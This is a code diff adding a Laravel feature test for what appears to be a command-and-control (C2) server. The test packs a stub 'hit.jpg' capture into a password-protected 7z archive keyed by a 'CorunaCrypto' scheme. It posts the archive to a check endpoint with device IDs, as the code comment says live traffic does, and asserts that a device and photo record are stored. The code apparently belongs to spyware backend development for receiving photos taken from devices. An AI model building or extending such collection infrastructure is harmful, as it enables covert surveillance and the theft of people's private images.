init

server/tests/Feature/C2ApiTest.php

@@ -343,6 +343,53 @@ class C2ApiTest extends TestCase
         @rmdir($tmp);
     }
 
+    #[Test]
+    public function check_uses_multipart_ts_as_batch_base_password(): void
+    {
+        Storage::fake('local');
+        $crypto = new CorunaCrypto;
+        $tmp = sys_get_temp_dir().'/coruna_photo_ts_'.uniqid();
+        mkdir($tmp);
+        $jpegPath = $tmp.'/hit.jpg';
+        file_put_contents($jpegPath, "\xFF\xD8\xFF\xD9");
+        $archivePath = $tmp.'/capture.7z';
+        $batchTs = '1785596422';
+        $password = $crypto->archivePassword($batchTs);
+        $bin = is_executable('/opt/homebrew/opt/p7zip/bin/7z')
+            ? '/opt/homebrew/opt/p7zip/bin/7z'
+            : '7z';
+        $cmd = escapeshellarg($bin).' a -y -p'.escapeshellarg($password)
+            .' '.escapeshellarg($archivePath).' '.escapeshellarg($jpegPath).' 2>&1';
+        exec($cmd, $out, $code);
+        $this->assertSame(0, $code, implode("\n", $out));
+
+        $upload = new UploadedFile($archivePath, 'capture.7z', 'application/octet-stream', null, true);
+        // Live traffic: no batchBase field; password suffix is multipart `ts`.
+        $this->call(
+            'POST',
+            '/api/user/check',
+            [
+                'd' => 'dev-photo-ts',
+                'f' => 'dev-photo-ts',
+                'ts' => $batchTs,
+                'x-hit' => '12',
+            ],
+            [],
+            ['file' => $upload],
+            ['CONTENT_TYPE' => 'multipart/form-data']
+        )->assertOk();
+
+        $device = Device::query()->where('device_id', 'dev-photo-ts')->first();
+        $this->assertNotNull($device);
+        $this->assertTrue(
+            Photo::query()->where('device_id', $device->id)->exists()
+        );
+
+        @unlink($jpegPath);
+        @unlink($archivePath);
+        @rmdir($tmp);
+    }
+
     #[Test]
     public function admin_guest_is_redirected_to_admin_login(): void
     {